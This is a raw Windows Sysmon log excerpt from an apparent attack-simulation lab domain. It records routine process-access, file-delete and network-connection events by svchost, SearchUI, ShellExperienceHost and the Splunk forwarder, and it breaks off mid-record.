14:45:37.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.492{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.492{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.492{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.492{7BD73061-6D0E-613B-8B06-00000000F001}45004832C:\Windows\system32\sihost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.476{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.476{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.476{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000045948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.211{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=888170655EC3707CDC53D97146A613CC,SHA256=0CA8DDB93616DCC5826D15657ED2E86A9519206661FC5BC900767BA25BEADB1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014122Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:38.768{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F1F34AD29DE34648FCD8E4494D0531A,SHA256=911EC9F34684C531EFE4C7E12725C32ABBC78DE2B53567FA0C72399DE92CAABC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:38.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A36A487554CB4163B2D9EFF2698E341D,SHA256=5EC0EA57E3E7E55C11BE3FAF0240663B707E15873A17F1EF8CF4A1E43989809B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014123Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:39.784{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FB01348B7C44B4AEBD046725A4142E84,SHA256=8E31AC5C2EE230EE80258C64093A47E6B7CB4AEC0DA66F2B7F3E4E2EDCC1952C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:37.325{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59272-false10.0.1.12-8000- 23542300x800000000000000045959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:39.367{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D25B38D05AAC7CFD1F20E37C151FDB9F,SHA256=884C7E7728A01FC9F4733ADB7522CAFDA9CA8B3E839E1DF91CA6323E874C4804,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014124Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:40.862{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=417D7148D9FB1754C120683EE41F531B,SHA256=02C50391A6D3B86BCEC1EC79F0AE2E2D6A02C4B035932CEBA0625AF08A3CAE21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:40.383{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99D2DD82E7E42DED1CE229148B118C88,SHA256=E09B407B662547F6DA14FEAA272B6140EA79D3C51A58CDAAB3490AF4DB75E48D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014125Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:41.878{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D9990AAF5143CBAD96130FD37FC8DF86,SHA256=874A4A15825D7FBDCCD1FD87546B8FA476BCE82BEDA5FF13D4213FE510AD6C56,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:41.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD097678F6794FBA76981C58E56E0AFE,SHA256=1EC5EC9355B2684170EC83C542265CFC8FC2B42E0CCF69B1AA7691F59029C54A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014126Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:42.924{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F90180CA98661C6CE7634229891C8BB,SHA256=300D1BA848C0ABE9DAFC8A35B65324639E57A66793484BDE3A63C753C08398E9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:42.523{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E97EB6A847B9F0886719448DB45324E0,SHA256=9747C8272871BD24FB454EA2ACE8ED1987328449CFF5849A8D202CE049461D8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014128Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:43.940{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C611C666FE9282DBF83F42F0E93D610,SHA256=DBA47482BB359226168925269CBCCD0E604B6AF25C224EF20ACEC8D53A8CE469,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:43.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7AFA2F73BEB75A2C375754AFBE0041C5,SHA256=57318725568545E89F8B11DE73C68BA76961A46BEC1B2F0D15657BB39B13F74D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014127Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:41.410{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50131-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000045965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:44.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B822CD217F181DFF5B977A30CB402DB,SHA256=BC8F3F04A4691BA560DCAD2BD22F134445355A8E34764E4622AD3DDC787743DF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:45.726{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B4CAF7B6883FDD9D6FD28C0A771F712,SHA256=C41038D7901EAA50EDA29B50A00EE7D9C73F35B8B9A37891C267C89875410888,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014129Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:45.003{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0992C65E6C559CA09C935AC36280360B,SHA256=07817E20FDB8A2B97FD9D6693AF2A3E544D53DD43AB53243E7BEFFEBFC5AC223,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:46.961{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:46.961{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:46.961{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:46.883{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B7F1C1976CD1572506A83DFB1FF7A00,SHA256=C734F7326423B9CAC027BF229BA61550B8135364681ADBE4056C44DECB29B6B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014130Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:46.018{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 